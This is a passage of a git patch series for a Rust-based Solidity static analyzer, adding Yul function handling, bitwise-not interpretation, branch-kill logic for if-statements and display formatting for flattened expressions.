| Parenthesis(_loc, expr) | PreIncrement(_loc, expr) | PostIncrement(_loc, expr) | PreDecrement(_loc, expr) @@ -506,6 +663,11 @@ pub trait Flatten: ctx.path(self), self.peek_expr_flag() ); + + tracing::trace!( + "current expr_ret stack: {}", + ctx.debug_expr_stack_str(self).unwrap() + ); match next { // Flag expressions FunctionCallName(n, is_super, named_args) => { @@ -542,7 +704,7 @@ pub trait Flatten: Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), - If { .. } => self.interp_if(arena, ctx, stack, next), + If { .. } => self.interp_if(arena, ctx, stack, next, parse_idx), Continue(loc) | Break(loc) => Err(ExprErr::Todo( loc, @@ -570,8 +732,9 @@ pub trait Flatten: | ShiftRight(loc, ..) | BitwiseAnd(loc, ..) | BitwiseXor(loc, ..) - | BitwiseOr(loc, ..) - | BitwiseNot(loc, ..) => self.interp_op(arena, ctx, next, loc, false), + | BitwiseOr(loc, ..) => self.interp_op(arena, ctx, next, loc, false), + + BitwiseNot(loc, ..) => self.interp_bit_not(arena, ctx, next), AssignAdd(loc, ..) | AssignSubtract(loc, ..) @@ -584,7 +747,6 @@ pub trait Flatten: | AssignShiftLeft(loc, ..) | AssignShiftRight(loc, ..) => self.interp_op(arena, ctx, next, loc, true), - Parenthesis(_) => todo!(), Super(..) => unreachable!(), MemberAccess(..) => self.interp_member_access(arena, ctx, next), @@ -608,6 +770,12 @@ pub trait Flatten: List(_, _) => self.interp_list(ctx, stack, next, parse_idx), Parameter(_, _, _) => Ok(()), Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), + YulExpr(FlatYulExpr::YulStartBlock) => Ok(()), + YulExpr(FlatYulExpr::YulVariable(..)) => Ok(()), + YulExpr(FlatYulExpr::YulFunctionCallName(..)) => Ok(()), + YulExpr(FlatYulExpr::YulFuncCall(..)) => Ok(()), + YulExpr(FlatYulExpr::YulSuffixAccess(..)) => Ok(()), + YulExpr(FlatYulExpr::YulEndBlock) => Ok(()), }?; if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) @@ -627,6 +795,24 @@ pub trait Flatten: } } + fn interp_bit_not( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::BitwiseNot(loc) = next else { + unreachable!() + }; + + let to_not = ctx + .pop_n_latest_exprs(1, loc, self) + .into_expr_err(loc)? + .swap_remove(0); + + self.bit_not_inner(arena, ctx, to_not, loc) + } + fn interp_list( &mut self, ctx: ContextNode, @@ -714,6 +900,7 @@ pub trait Flatten: ctx: ContextNode, stack: &[FlatExpr], if_expr: FlatExpr, + parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::If { loc, @@ -726,63 +913,81 @@ pub trait Flatten: unreachable!() }; - let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let true_subctx = - Context::add_subctx(true_subctx_kind, loc, self, None).into_expr_err(loc)?; + let (true_subctx, false_subctx) = + Context::add_fork_subctxs(self, ctx, loc).into_expr_err(loc)?; - let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let false_subctx = - Context::add_subctx(false_subctx_kind, loc, self, None).into_expr_err(loc)?; - ctx.set_child_fork(true_subctx, false_subctx, self) - .into_expr_err(loc)?; - let ctx_fork = self.add_node(Node::ContextFork); - self.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - self.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - self.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - - // parse the true condition expressions - for i in 0..true_cond { + // Parse the true condition expressions then skip the + // false condition expressions, thus resulting in the + // true_subctx parse_idx being the start of true body + for _ in 0..true_cond { self.interpret_step(arena, true_subctx, loc, stack)?; } - // skip the false condition expressions self.modify_edges(true_subctx, loc, &|analyzer, true_subctx| { true_subctx.skip_n_exprs(false_cond, analyzer); Ok(()) })?; - // skip the true condition expressions + // Skip the true condition expressions then parse the false + // condition expressions false_subctx.skip_n_exprs(true_cond, self); - // parse the false condition expressions for _ in 0..false_cond { self.interpret_step(arena, false_subctx, loc, stack)?; } - // todo: the kill check - for _ in 0..true_body { - self.interpret_step(arena, true_subctx, loc, stack)?; - } - // skip the false body expressions - self.modify_edges(true_subctx, loc, &|analyzer, true_subctx| { - true_subctx.skip_n_exprs(false_body, analyzer); - Ok(()) - })?; + let true_killed = true_subctx.is_killed(self).into_expr_err(loc)? + || true_subctx.unreachable(self, arena).into_expr_err(loc)?; + let false_killed = false_subctx.is_killed(self).into_expr_err(loc)? + || false_subctx.unreachable(self, arena).into_expr_err(loc)?; - // skip the true body expressions - self.modify_edges(false_subctx, loc, &|analyzer, false_subctx| { - false_subctx.skip_n_exprs(true_body, analyzer); - Ok(()) - })?; - // parse the false body expressions - for i in 0..false_body { - self.interpret_step(arena, false_subctx, loc, stack)?; + match (true_killed, false_killed) { + (true, true) => { + // both have been killed, delete the child and dont process the bodies + ctx.delete_child(self).into_expr_err(loc)?; + } + (true, false) => { + // the true context has been killed, delete child, process the false fork expression + // in the parent context and parse the false body + ctx.delete_child(self).into_expr_err(loc)?; + + // point the parse index of the parent ctx to the false body + ctx.underlying_mut(self).unwrap().parse_idx = + parse_idx + true_cond + false_cond + true_body; + for _ in 0..false_body { + self.interpret_step(arena, ctx, loc, stack)?; + } + } + (false, true) => { + // the false context has been killed, delete child, process the true fork expression + // in the parent context and parse the true body + ctx.delete_child(self).into_expr_err(loc)?; + + // point the parse index of the parent ctx to the true body + ctx.underlying_mut(self).unwrap().parse_idx = parse_idx + true_cond + false_cond; + for _ in 0..true_body { + self.interpret_step(arena, ctx, loc, stack)?; + } + } + (false, false) => { + // both branches are reachable. process each body + for _ in 0..true_body { + self.interpret_step(arena, true_subctx, loc, stack)?; + } + // skip the false body expressions + self.modify_edges(true_subctx, loc, &|analyzer, true_subctx| { + true_subctx.skip_n_exprs(false_body, analyzer); + Ok(()) + })?; + + // skip the true body expressions + self.modify_edges(false_subctx, loc, &|analyzer, false_subctx| { + false_subctx.skip_n_exprs(true_body, analyzer); + Ok(()) + })?; + // parse the false body expressions + for i in 0..false_body { + self.interpret_step(arena, false_subctx, loc, stack)?; + } + } } Ok(()) } diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 78c5e46f..06b3595a 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -271,7 +271,8 @@ pub trait InternalFuncCaller: _ => { let stack = &ctx.underlying(self)?.expr_ret_stack; let len = stack.len(); - let inputs = &stack[len - num_inputs - 1..]; + let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); + inputs.reverse(); let resizeables: Vec<_> = inputs .iter() .map(|input| input.expect_single().ok()) @@ -301,7 +302,7 @@ pub trait InternalFuncCaller: }) .collect(); - let inputs = ExprRet::Multi(inputs.to_vec()); + let inputs = ExprRet::Multi(inputs); Ok(self.disambiguate_fn_call( arena, &name, diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index 10c7b2c7..aa7fefd5 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -301,8 +301,8 @@ pub trait YulBuilder: // use YulExpression::*; // match expr { // BoolLiteral(loc, b, _) => self.bool_literal(ctx, *loc, *b), - // NumberLiteral(loc, int, expr, unit) => { - // self.number_literal(ctx, *loc, int, expr, false, unit) + // NumberLiteral(loc, int, exp, unit) => { + // self.number_literal(ctx, *loc, int, exp, false, unit) // } // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), // HexStringLiteral(lit, _) => self.hex_literals(ctx, &[lit.clone()]), From 09a0de494689c787e66d05e3307af9d3997c7728 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Wed, 17 Jul 2024 21:43:34 -0700 Subject: [PATCH 14/52] yul func support --- crates/graph/src/graph_elements.rs | 8 +- crates/graph/src/nodes/func_ty.rs | 19 +- crates/graph/src/nodes/mod.rs | 3 + crates/graph/src/nodes/yul_func.rs | 79 ++ crates/graph/src/var_type.rs | 3 +- crates/pyrometer/src/analyzer.rs | 2 + crates/pyrometer/src/analyzer_backend.rs | 11 + crates/shared/src/analyzer_like.rs | 3 + crates/shared/src/flattened.rs | 177 ++- crates/shared/src/flattened_yul.rs | 27 +- .../src/context_builder/flattened.rs | 344 ++++- crates/solc-expressions/src/yul/yul_funcs.rs | 1147 +++++++---------- 12 files changed, 1091 insertions(+), 732 deletions(-) create mode 100644 crates/graph/src/nodes/yul_func.rs diff --git a/crates/graph/src/graph_elements.rs b/crates/graph/src/graph_elements.rs index 311b2945..7d7ce65f 100644 --- a/crates/graph/src/graph_elements.rs +++ b/crates/graph/src/graph_elements.rs @@ -103,6 +103,8 @@ pub enum Node { Msg(Msg), /// The `block` global in solidity Block(Block), + /// A yul-based function + YulFunction(YulFunction), } pub fn as_dot_str( @@ -276,6 +278,8 @@ pub enum Edge { BuiltinFunction, /// A connection from one contract to another contract UsingContract(Loc), + /// Yul function + YulFunction(usize), } impl Heirarchical for Edge { @@ -286,8 +290,8 @@ impl Heirarchical for Edge { Part | Import => 1, Contract | Ty | Field | Enum | Struct | Error | Event | Var | InheritedContract - | Modifier | FallbackFunc | Constructor | ReceiveFunc | LibraryFunction(_) - | BuiltinFunction | Func | UsingContract(_) => 2, + | Modifier | FallbackFunc | Constructor | YulFunction(_) | ReceiveFunc + | LibraryFunction(_) | BuiltinFunction | Func | UsingContract(_) => 2, Context(_) | ErrorParam | FunctionParam | FunctionReturn | FuncModifier(_) => 3, } diff --git a/crates/graph/src/nodes/func_ty.rs b/crates/graph/src/nodes/func_ty.rs index f207c1b7..cc4db8db 100644 --- a/crates/graph/src/nodes/func_ty.rs +++ b/crates/graph/src/nodes/func_ty.rs @@ -1,7 +1,7 @@ use crate::{ nodes::{ Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, SourceUnitNode, - SourceUnitPartNode, + SourceUnitPartNode, YulFunctionNode, }, range::elem::Elem, AnalyzerBackend, AsDotStr, ContextEdge, Edge, GraphBackend, Node, SolcRange, VarType, @@ -53,6 +53,23 @@ impl FunctionNode { Ok(()) } + pub fn yul_funcs( + &self, + analyzer: &impl GraphBackend, + assembly_block_idx: usize, + ) -> Vec { + analyzer + .graph() + .edges_directed(self.0.into(), Direction::Incoming) + .filter_map(|edge| match edge.weight() { + Edge::YulFunction(asm_block) if *asm_block == assembly_block_idx => { + Some(edge.source().into()) + } + _ => None, + }) + .collect::>() + } + pub fn ty(&self, analyzer: &impl GraphBackend) -> Result { Ok(self.underlying(analyzer)?.ty) } diff --git a/crates/graph/src/nodes/mod.rs b/crates/graph/src/nodes/mod.rs index 5bfc3f86..e380b441 100644 --- a/crates/graph/src/nodes/mod.rs +++ b/crates/graph/src/nodes/mod.rs @@ -42,3 +42,6 @@ pub use source_unit::*; mod debug_reconstruction; pub use debug_reconstruction::*; + +mod yul_func; +pub use yul_func::*; diff --git a/crates/graph/src/nodes/yul_func.rs b/crates/graph/src/nodes/yul_func.rs new file mode 100644 index 00000000..54a30ff6 --- /dev/null +++ b/crates/graph/src/nodes/yul_func.rs @@ -0,0 +1,79 @@ +use crate::{ + nodes::{Concrete, ContractNode}, + range::elem::Elem, + AnalyzerBackend, AsDotStr, Edge, GraphBackend, Node, VarType, +}; + +use shared::{FlatExpr, GraphError, NodeIdx, RangeArena}; + +use petgraph::visit::EdgeRef; +use solang_parser::pt::{Expression, Identifier, Loc, TypeDefinition}; + +#[derive(Debug, Copy, Clone, Ord, PartialOrd, Eq, PartialEq, Hash)] +pub struct YulFunctionNode(pub usize); +impl YulFunctionNode { + pub fn underlying<'a>( + &self, + analyzer: &'a impl GraphBackend, + ) -> Result<&'a YulFunction, GraphError> { + match analyzer.node(*self) { + Node::YulFunction(ty) => Ok(ty), + Node::Unresolved(ident) => Err(GraphError::UnknownVariable(format!( + "Could not find variable: {}", + ident.name + ))), + e => Err(GraphError::NodeConfusion(format!( + "Node type confusion: expected node to be YulFunctionNode but it was: {e:?}" + ))), + } + } + + pub fn name(&self, analyzer: &impl GraphBackend) -> Result { + Ok(self.underlying(analyzer)?.name.to_string()) + } + pub fn exprs(&self, analyzer: &impl GraphBackend) -> Result, GraphError> { + Ok(self.underlying(analyzer)?.exprs.clone()) + } +} + +impl From for NodeIdx { + fn from(val: YulFunctionNode) -> Self { + val.0.into() + } +} + +impl From for YulFunctionNode { + fn from(idx: NodeIdx) -> Self { + YulFunctionNode(idx.index()) + } +} + +impl AsDotStr for YulFunctionNode { + fn as_dot_str( + &self, + analyzer: &impl GraphBackend, + _arena: &mut RangeArena>, + ) -> String { + let underlying = self.underlying(analyzer).unwrap(); + format!("yul function {}", underlying.name,) + } +} + +#[derive(Debug, Clone, Eq, PartialEq)] +pub struct YulFunction { + pub loc: Loc, + pub name: &'static str, + pub exprs: Vec, +} + +impl From for Node { + fn from(val: YulFunction) -> Self { + Node::YulFunction(val) + } +} + +impl YulFunction { + pub fn new(exprs: Vec, name: &'static str, loc: Loc) -> YulFunction { + YulFunction { loc, name, exprs } + } +} diff --git a/crates/graph/src/var_type.rs b/crates/graph/src/var_type.rs index 81d1be68..8d0ae594 100644 --- a/crates/graph/src/var_type.rs +++ b/crates/graph/src/var_type.rs @@ -248,7 +248,8 @@ impl VarType { | Node::Entry | Node::Context(..) | Node::Msg(_) - | Node::Block(_) => None, + | Node::Block(_) + | Node::YulFunction(..) => None, } } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index dec1135f..44465bb1 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -149,6 +149,7 @@ pub struct Analyzer { pub flattened: Vec, pub expr_flag: Option, + pub current_asm_block: usize, } impl<'a> Default for Analyzer { @@ -189,6 +190,7 @@ impl<'a> Default for Analyzer { minimize_debug: None, flattened: vec![], expr_flag: None, + current_asm_block: 0, }; a.builtin_fn_inputs = builtin_fns::builtin_fns_inputs(&mut a); diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 8cf7d4fe..d500cc94 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -564,6 +564,17 @@ impl AnalyzerLike for Analyzer { self.flattened.push(flat); } + fn decrement_asm_block(&mut self) { + self.current_asm_block -= 1; + } + fn increment_asm_block(&mut self) { + self.current_asm_block += 1; + } + + fn current_asm_block(&self) -> usize { + self.current_asm_block + } + fn expr_stack(&self) -> &[FlatExpr] { &self.flattened } diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index 0eb637f5..b2a0d567 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -197,6 +197,9 @@ pub trait AnalyzerLike: GraphLike { type FlatExpr; type ExprFlag: Copy; fn push_expr(&mut self, flat: Self::FlatExpr); + fn increment_asm_block(&mut self); + fn decrement_asm_block(&mut self); + fn current_asm_block(&self) -> usize; fn expr_stack(&self) -> &[Self::FlatExpr]; fn expr_stack_mut(&mut self) -> &mut Vec; fn take_expr_flag(&mut self) -> Option; diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index b36e39d9..3dbfdc8e 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -9,7 +9,7 @@ pub enum ExprFlag { Requirement, } -#[derive(Debug, Clone, Copy)] +#[derive(Debug, Clone, Copy, Eq, PartialEq)] pub enum FlatExpr { VarDef(Loc, Option<&'static str>, Option, bool), If { @@ -108,7 +108,176 @@ pub enum FlatExpr { YulExpr(FlatYulExpr), } +impl std::fmt::Display for FlatExpr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + use FlatExpr::*; + match self { + VarDef(_, maybe_name, maybe_storage, inited) => { + let inited_str = if *inited { " = ..;" } else { ";" }; + let name_str = if let Some(name) = maybe_name { + name + } else { + "" + }; + let storage_str = if let Some(stor) = maybe_storage { + format!("{stor} ") + } else { + "".to_string() + }; + write!(f, "{storage_str}{name_str}{inited_str}") + } + Super(_, name) => write!(f, "super.{name}"), + Continue(..) => write!(f, "continue;"), + Break(..) => write!(f, "break;"), + Return(.., elem) => { + if *elem { + write!(f, "return ..;") + } else { + write!(f, "return;") + } + } + + PostIncrement(..) => write!(f, "(..)++"), + PostDecrement(..) => write!(f, "(..)--"), + PreIncrement(..) => write!(f, "++(..)"), + PreDecrement(..) => write!(f, "--(..)"), + New(..) => write!(f, "new "), + ArrayTy(..) => write!(f, "[]"), + ArrayIndexAccess(..) => write!(f, "[(..)]"), + MemberAccess(_, field) => write!(f, ".{field}"), + FunctionCall(_, n) => write!(f, "({})", "_,".repeat(*n)), + NamedFunctionCall(_, _) => write!(f, "(..)"), + Not(_) => write!(f, "~"), + Negate(_) => write!(f, "-"), + Delete(_) => write!(f, "delete "), + + // binary ops + Power(..) => write!(f, " ** "), + Multiply(..) => write!(f, " * "), + Divide(..) => write!(f, " / "), + Modulo(_) => write!(f, " % "), + Add(..) => write!(f, " + "), + Subtract(..) => write!(f, " - "), + AssignAdd(..) => write!(f, " += "), + AssignSubtract(..) => write!(f, " -= "), + AssignMultiply(..) => write!(f, " *= "), + AssignDivide(..) => write!(f, " /= "), + AssignModulo(_) => write!(f, " %= "), + ShiftLeft(_) => write!(f, " << "), + ShiftRight(_) => write!(f, " >> "), + BitwiseAnd(_) => write!(f, " & "), + BitwiseXor(_) => write!(f, " ^ "), + BitwiseOr(_) => write!(f, " | "), + BitwiseNot(_) => write!(f, "~"), + AssignOr(_) => write!(f, " |= "), + AssignAnd(_) => write!(f, " &= "), + AssignXor(_) => write!(f, " ^= "), + AssignShiftLeft(_) => write!(f, " <<= "), + AssignShiftRight(_) => write!(f, " >>= "), + + // cmp ops + Less(_) => write!(f, " < "), + More(_) => write!(f, " > "), + LessEqual(_) => write!(f, " <= "), + MoreEqual(_) => write!(f, " >= "), + Equal(_) => write!(f, " == "), + NotEqual(_) => write!(f, " != "), + And(_) => write!(f, " && "), + Or(_) => write!(f, " || "), + + Assign(_) => write!(f, " = "), + This(_) => write!(f, "this"), + + BoolLiteral(_, b) => write!(f, "{b}"), + NumberLiteral(_, int, exp, unit) => { + let unit_str = if let Some(unit) = unit { unit } else { "" }; + let e_str = if exp.is_empty() { + "".to_string() + } else { + format!("e{exp}") + }; + write!(f, "{int}{e_str} {unit_str}") + } + RationalNumberLiteral(_, int, frac, exp, unit) => { + let unit_str = if let Some(unit) = unit { unit } else { "" }; + let e_str = if exp.is_empty() { + "".to_string() + } else { + format!("e{exp}") + }; + write!(f, "{int}.{frac}{e_str} {unit_str}") + } + HexNumberLiteral(_, s, _) + | StringLiteral(_, s) + | HexLiteral(_, s) + | AddressLiteral(_, s) + | Variable(_, s) => write!(f, "{s}"), + + YulExpr(yul) => write!(f, "{yul}"), + _ => write!(f, ""), + } + } +} + impl FlatExpr { + pub fn if_debug_str(&self, start: usize, stack: &[FlatExpr]) -> String { + use FlatExpr::*; + let If { + true_cond, + false_cond, + true_body, + false_body, + .. + } = self + else { + unreachable!("Not if") + }; + let true_range = start..start + true_cond; + let true_cond_str = stack[true_range] + .iter() + .map(|i| format!("{i}")) + .collect::>() + .join(" "); + let false_range = start + true_cond..start + true_cond + false_cond; + let false_cond_str = stack[false_range] + .iter() + .map(|i| format!("{i}")) + .collect::>() + .join(" "); + + let true_body_range = + start + true_cond + false_cond..start + true_cond + false_cond + true_body; + let true_body_str = stack[true_body_range] + .iter() + .enumerate() + .map(|(j, i)| { + if matches!(i, If { .. }) { + let new_start = start + true_cond + false_cond + j; + i.if_debug_str(new_start, stack) + } else { + format!("{i}") + } + }) + .collect::>() + .join(" "); + let false_body_range = start + true_cond + false_cond + true_body + ..start + true_cond + false_cond + true_body + false_body; + let false_body_str = stack[false_body_range] + .iter() + .enumerate() + .map(|(j, i)| { + if matches!(i, If { .. }) { + let new_start = start + true_cond + false_cond + true_body + j; + i.if_debug_str(new_start, stack) + } else { + format!("{i}") + } + }) + .collect::>() + .join(" "); + + format!("if ({true_cond_str}) {{\n\t{true_body_str}\n}} else ({false_cond_str}) {{\n\t{false_body_str}\n}}") + } pub fn try_inv_cmp(&self) -> Option { use FlatExpr::*; Some(match self { @@ -195,13 +364,15 @@ impl FlatExpr { | Super(loc, ..) | YulExpr(FlatYulExpr::YulVariable(loc, ..)) | YulExpr(FlatYulExpr::YulFuncCall(loc, ..)) + | YulExpr(FlatYulExpr::YulAssign(loc, ..)) | YulExpr(FlatYulExpr::YulSuffixAccess(loc, ..)) + | YulExpr(FlatYulExpr::YulVarDecl(loc, ..)) + | YulExpr(FlatYulExpr::YulFuncDef(loc, ..)) | ArrayLiteral(loc, ..) => Some(*loc), FunctionCallName(..) | YulExpr(FlatYulExpr::YulStartBlock) - | YulExpr(FlatYulExpr::YulEndBlock) - | YulExpr(FlatYulExpr::YulFunctionCallName(..)) => None, + | YulExpr(FlatYulExpr::YulEndBlock) => None, } } } diff --git a/crates/shared/src/flattened_yul.rs b/crates/shared/src/flattened_yul.rs index e6d4b86b..261d3e23 100644 --- a/crates/shared/src/flattened_yul.rs +++ b/crates/shared/src/flattened_yul.rs @@ -4,16 +4,29 @@ use solang_parser::pt::{ Identifier, Loc, YulExpression, YulFunctionCall, YulStatement, YulSwitchOptions, }; -#[derive(Debug, Clone, Copy)] +#[derive(Debug, Clone, Copy, Eq, PartialEq)] pub enum FlatYulExpr { YulStartBlock, YulVariable(Loc, &'static str), - YulFunctionCallName(usize), - YulFuncCall(Loc, usize), + YulFuncCall(Loc, &'static str, usize), YulSuffixAccess(Loc, &'static str), + YulAssign(Loc, usize), + YulVarDecl(Loc, usize, bool), + YulFuncDef(Loc, &'static str, usize), YulEndBlock, } +impl std::fmt::Display for FlatYulExpr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + use FlatYulExpr::*; + match self { + YulFuncCall(_c, s, n) => write!(f, "{s}({})", "_,".repeat(*n)), + YulVariable(_, s) | YulSuffixAccess(_, s) => write!(f, "{s}"), + _ => write!(f, ""), + } + } +} + impl TryFrom<&YulExpression> for FlatYulExpr { type Error = (); fn try_from(expr: &YulExpression) -> Result { @@ -22,9 +35,11 @@ impl TryFrom<&YulExpression> for FlatYulExpr { Variable(ident) => { FlatYulExpr::YulVariable(ident.loc, string_to_static(ident.name.clone())) } - FunctionCall(yul_func_call) => { - FlatYulExpr::YulFuncCall(yul_func_call.loc, yul_func_call.arguments.len()) - } + FunctionCall(yul_func_call) => FlatYulExpr::YulFuncCall( + yul_func_call.loc, + string_to_static(yul_func_call.id.name.clone()), + yul_func_call.arguments.len(), + ), SuffixAccess(loc, _, ident) => { FlatYulExpr::YulSuffixAccess(*loc, string_to_static(ident.name.clone())) } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 4de9187d..0e9217e6 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1,3 +1,4 @@ +use crate::yul::YulFuncCaller; use std::collections::BTreeMap; use crate::{ @@ -9,7 +10,7 @@ use graph::{ elem::{Elem, RangeOp}, nodes::{ Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, - ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, SubContextKind, + ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, SubContextKind, YulFunction, }, AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; @@ -165,7 +166,11 @@ pub trait Flatten: dialect: _, flags: _, block: yul_block, - } => self.traverse_yul_statement(&YulStatement::Block(yul_block.clone())), + } => { + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); + self.traverse_yul_statement(&YulStatement::Block(yul_block.clone())); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); + } Return(loc, maybe_ret_expr) => { if let Some(ret_expr) = maybe_ret_expr { self.traverse_expression(ret_expr, unchecked); @@ -184,8 +189,37 @@ pub trait Flatten: fn traverse_yul_statement(&mut self, stmt: &YulStatement) { use YulStatement::*; match stmt { - Assign(loc, lhs, rhs) => {} - VariableDeclaration(loc, idents, maybe_assignment) => {} + Assign(loc, lhs, rhs) => { + self.traverse_yul_expression(rhs); + lhs.iter().for_each(|l| { + self.traverse_yul_expression(l); + }); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulAssign(*loc, lhs.len()))); + } + VariableDeclaration(loc, idents, maybe_assignment) => { + if let Some(rhs) = maybe_assignment { + self.traverse_yul_expression(rhs); + } + let uint: &'static solang_parser::pt::Type = + Box::leak(Box::new(solang_parser::pt::Type::Uint(256))); + + idents.iter().for_each(|ident| { + // NOTE: for now yul does not support + // user types. but they may in the future + self.push_expr(FlatExpr::Type(ident.loc, uint)); + self.push_expr(FlatExpr::VarDef( + *loc, + Some(string_to_static(ident.id.name.clone())), + None, + false, + )); + }); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulVarDecl( + *loc, + idents.len(), + maybe_assignment.is_some(), + ))); + } If(loc, if_expr, true_stmt) => { let iec = IfElseChain { if_expr: if_expr.clone(), @@ -218,14 +252,45 @@ pub trait Flatten: self.push_expr(FlatExpr::Continue(*loc)); } Block(block) => { - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); for statement in block.statements.iter() { - self.traverse_yul_statement(&statement); + self.traverse_yul_statement(statement); } - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); } FunctionDefinition(def) => { - todo!() + let start_len = self.expr_stack().len(); + let inputs_as_var_decl = + YulStatement::VariableDeclaration(def.loc, def.params.clone(), None); + self.traverse_yul_statement(&inputs_as_var_decl); + + def.params.iter().for_each(|param| { + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulVariable( + param.loc, + string_to_static(param.id.name.clone()), + ))) + }); + + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulAssign( + def.loc, + def.params.len(), + ))); + let rets_as_var_decl = + YulStatement::VariableDeclaration(def.loc, def.returns.clone(), None); + self.traverse_yul_statement(&rets_as_var_decl); + + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); + for stmt in def.body.statements.iter() { + self.traverse_yul_statement(stmt); + } + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); + + let func = self.expr_stack_mut().drain(start_len..).collect::>(); + + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulFuncDef( + def.loc, + string_to_static(def.id.name.clone()), + func.len(), + ))); + self.expr_stack_mut().extend(func); } FunctionCall(call) => { self.traverse_yul_expression(&YulExpression::FunctionCall(call.clone())); @@ -237,18 +302,19 @@ pub trait Flatten: fn traverse_yul_if_else(&mut self, loc: Loc, iec: IfElseChain) { let true_body = &iec.true_stmt; let start_len = self.expr_stack_mut().len(); - self.traverse_yul_expression(&iec.if_expr); self.push_expr(FlatExpr::NumberLiteral(loc, "0", "", None)); + self.traverse_yul_expression(&iec.if_expr); + // have it be a require statement self.push_expr(FlatExpr::Requirement(loc)); self.push_expr(FlatExpr::More(loc)); + let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); // the false condition is the same as the true, but with the comparator inverted let mut false_cond = true_cond.clone(); - if let Some(last) = false_cond.pop() { - false_cond.push(last.try_inv_cmp().unwrap_or(FlatExpr::Not(loc))); - } + let _ = false_cond.pop(); + false_cond.push(FlatExpr::Equal(loc)); let true_cond_delta = true_cond.len(); let false_cond_delta = false_cond.len(); @@ -305,16 +371,9 @@ pub trait Flatten: self.traverse_yul_expression(expr); }); - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulFunctionCallName( - func_call.arguments.len(), - ))); - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulVariable( - func_call.id.loc, - string_to_static(func_call.id.name.clone()), - ))); - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulFuncCall( expr.loc(), + string_to_static(func_call.id.name.clone()), func_call.arguments.len(), ))); } @@ -580,7 +639,7 @@ pub trait Flatten: body_loc: Loc, arena: &mut RangeArena>, ) { - let stack = std::mem::take(self.expr_stack_mut()); + let mut stack = std::mem::take(self.expr_stack_mut()); tracing::trace!("stack: {stack:#?}"); let foc: FuncOrCtx = func_or_ctx.into(); @@ -605,7 +664,7 @@ pub trait Flatten: while (!ctx.is_ended(self).unwrap() || !ctx.live_edges(self).unwrap().is_empty()) && ctx.parse_idx(self) < stack.len() { - let res = self.interpret_step(arena, ctx, body_loc, &stack[..]); + let res = self.interpret_step(arena, ctx, body_loc, &mut stack); if unsafe { USE_DEBUG_SITE } { post_to_site(&*self, arena); } @@ -618,7 +677,7 @@ pub trait Flatten: arena: &mut RangeArena>, ctx: ContextNode, body_loc: Loc, - stack: &[FlatExpr], + stack: &mut Vec, ) -> Result<(), ExprErr> { self.flat_apply_to_edges( ctx, @@ -629,7 +688,9 @@ pub trait Flatten: arena: &mut RangeArena>, ctx: ContextNode, _: Loc, - stack: &[FlatExpr]| { analyzer.interpret_expr(arena, ctx, stack) }, + stack: &mut Vec| { + analyzer.interpret_expr(arena, ctx, stack) + }, ) } @@ -637,7 +698,7 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, - 